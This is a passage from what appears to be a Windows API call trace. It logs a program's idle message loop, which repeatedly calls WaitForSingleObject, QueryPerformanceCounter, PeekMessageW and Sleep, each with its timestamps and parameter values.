| out: lpMsg=0x2df914) returned 0 [0157.302] Sleep (dwMilliseconds=0x64) [0157.316] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.316] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801185707) returned 1 [0157.316] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801185886) returned 1 [0157.317] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.317] Sleep (dwMilliseconds=0x64) [0157.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801239225) returned 1 [0157.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801239404) returned 1 [0157.332] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.333] Sleep (dwMilliseconds=0x64) [0157.347] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.347] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801292244) returned 1 [0157.347] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801292431) returned 1 [0157.348] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.348] Sleep (dwMilliseconds=0x64) [0157.363] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.363] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801347086) returned 1 [0157.363] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801347330) returned 1 [0157.364] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.364] Sleep (dwMilliseconds=0x64) [0157.379] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.379] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801400847) returned 1 [0157.379] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801401011) returned 1 [0157.379] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.380] Sleep (dwMilliseconds=0x64) [0157.394] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.394] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801452122) returned 1 [0157.394] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801452288) returned 1 [0157.394] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.395] Sleep (dwMilliseconds=0x64) [0157.409] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.409] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801505363) returned 1 [0157.409] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801505528) returned 1 [0157.410] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.411] Sleep (dwMilliseconds=0x64) [0157.425] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801559575) returned 1 [0157.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801559738) returned 1 [0157.426] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.426] Sleep (dwMilliseconds=0x64) [0157.441] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801612095) returned 1 [0157.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801612274) returned 1 [0157.441] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.442] Sleep (dwMilliseconds=0x64) [0157.462] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.462] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801685576) returned 1 [0157.462] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801685755) returned 1 [0157.463] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.463] Sleep (dwMilliseconds=0x64) [0157.472] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.472] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801718806) returned 1 [0157.472] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801718984) returned 1 [0157.473] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.473] Sleep (dwMilliseconds=0x64) [0157.509] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.509] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801844699) returned 1 [0157.509] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801844851) returned 1 [0157.509] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.510] Sleep (dwMilliseconds=0x64) [0157.519] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.519] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801878544) returned 1 [0157.519] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801878698) returned 1 [0157.519] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.520] Sleep (dwMilliseconds=0x64) [0157.536] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801938028) returned 1 [0157.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801938172) returned 1 [0157.537] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.537] Sleep (dwMilliseconds=0x64) [0157.550] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=801985332) returned 1 [0157.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=801985537) returned 1 [0157.550] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.551] Sleep (dwMilliseconds=0x64) [0157.566] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.566] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802039150) returned 1 [0157.566] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802039330) returned 1 [0157.566] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.567] Sleep (dwMilliseconds=0x64) [0157.581] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.581] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802092019) returned 1 [0157.581] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802092204) returned 1 [0157.582] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.582] Sleep (dwMilliseconds=0x64) [0157.597] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.597] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802145285) returned 1 [0157.597] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802145470) returned 1 [0157.597] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.598] Sleep (dwMilliseconds=0x64) [0157.613] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.613] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802200892) returned 1 [0157.613] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802201080) returned 1 [0157.614] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.614] Sleep (dwMilliseconds=0x64) [0157.628] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.628] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802252268) returned 1 [0157.628] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802252447) returned 1 [0157.629] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.629] Sleep (dwMilliseconds=0x64) [0157.643] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802305336) returned 1 [0157.644] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802305517) returned 1 [0157.644] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.645] Sleep (dwMilliseconds=0x64) [0157.659] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802358569) returned 1 [0157.659] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802358748) returned 1 [0157.660] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.660] Sleep (dwMilliseconds=0x64) [0157.675] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802411961) returned 1 [0157.675] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802412126) returned 1 [0157.675] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.676] Sleep (dwMilliseconds=0x64) [0157.690] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802465424) returned 1 [0157.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802465588) returned 1 [0157.691] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.691] Sleep (dwMilliseconds=0x64) [0157.706] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.706] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802518423) returned 1 [0157.706] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802518581) returned 1 [0157.706] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.707] Sleep (dwMilliseconds=0x64) [0157.722] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802575451) returned 1 [0157.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802575605) returned 1 [0157.723] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.724] Sleep (dwMilliseconds=0x64) [0157.737] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.737] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802625239) returned 1 [0157.737] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802625416) returned 1 [0157.738] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.738] Sleep (dwMilliseconds=0x64) [0157.753] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802678820) returned 1 [0157.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802678998) returned 1 [0157.753] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.754] Sleep (dwMilliseconds=0x64) [0157.768] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.768] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802731877) returned 1 [0157.768] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802732067) returned 1 [0157.769] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.769] Sleep (dwMilliseconds=0x64) [0157.784] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.784] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802785303) returned 1 [0157.784] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802785482) returned 1 [0157.785] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.785] Sleep (dwMilliseconds=0x64) [0157.801] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802843769) returned 1 [0157.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802843949) returned 1 [0157.802] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.802] Sleep (dwMilliseconds=0x64) [0157.815] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.815] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802892798) returned 1 [0157.815] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802892983) returned 1 [0157.816] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.817] Sleep (dwMilliseconds=0x64) [0157.832] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802950305) returned 1 [0157.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802950483) returned 1 [0157.833] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.833] Sleep (dwMilliseconds=0x64) [0157.846] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=802998497) returned 1 [0157.846] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=802998678) returned 1 [0157.847] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.848] Sleep (dwMilliseconds=0x64) [0157.862] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.862] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803051794) returned 1 [0157.862] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803051960) returned 1 [0157.862] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.863] Sleep (dwMilliseconds=0x64) [0157.877] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803105438) returned 1 [0157.878] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803105602) returned 1 [0157.878] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.879] Sleep (dwMilliseconds=0x64) [0157.893] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803158443) returned 1 [0157.893] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803158622) returned 1 [0157.894] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.894] Sleep (dwMilliseconds=0x64) [0157.909] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803211759) returned 1 [0157.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803211926) returned 1 [0157.909] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.910] Sleep (dwMilliseconds=0x64) [0157.947] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.947] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803342302) returned 1 [0157.947] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803342486) returned 1 [0157.948] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.949] Sleep (dwMilliseconds=0x64) [0157.955] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.956] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803371757) returned 1 [0157.956] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803371914) returned 1 [0157.956] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.957] Sleep (dwMilliseconds=0x64) [0157.972] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803429892) returned 1 [0157.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803430109) returned 1 [0157.973] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.974] Sleep (dwMilliseconds=0x64) [0157.987] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0157.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803478390) returned 1 [0157.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803478572) returned 1 [0157.987] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0157.988] Sleep (dwMilliseconds=0x64) [0158.002] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803532039) returned 1 [0158.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803532216) returned 1 [0158.003] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.004] Sleep (dwMilliseconds=0x64) [0158.018] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.018] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803585839) returned 1 [0158.018] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803586008) returned 1 [0158.019] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.019] Sleep (dwMilliseconds=0x64) [0158.033] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803638186) returned 1 [0158.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803638351) returned 1 [0158.034] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.035] Sleep (dwMilliseconds=0x64) [0158.050] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803694123) returned 1 [0158.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803694318) returned 1 [0158.050] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.051] Sleep (dwMilliseconds=0x64) [0158.065] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.065] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803745372) returned 1 [0158.065] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803745568) returned 1 [0158.065] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.066] Sleep (dwMilliseconds=0x64) [0158.084] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.084] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803810306) returned 1 [0158.084] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803810504) returned 1 [0158.084] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.085] Sleep (dwMilliseconds=0x64) [0158.098] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803860727) returned 1 [0158.099] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803860896) returned 1 [0158.099] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0158.100] Sleep (dwMilliseconds=0x64) [0158.111] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0158.112] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=803905074) returned 1 [0158.112] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=803905259) returned 1 [0158.112] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 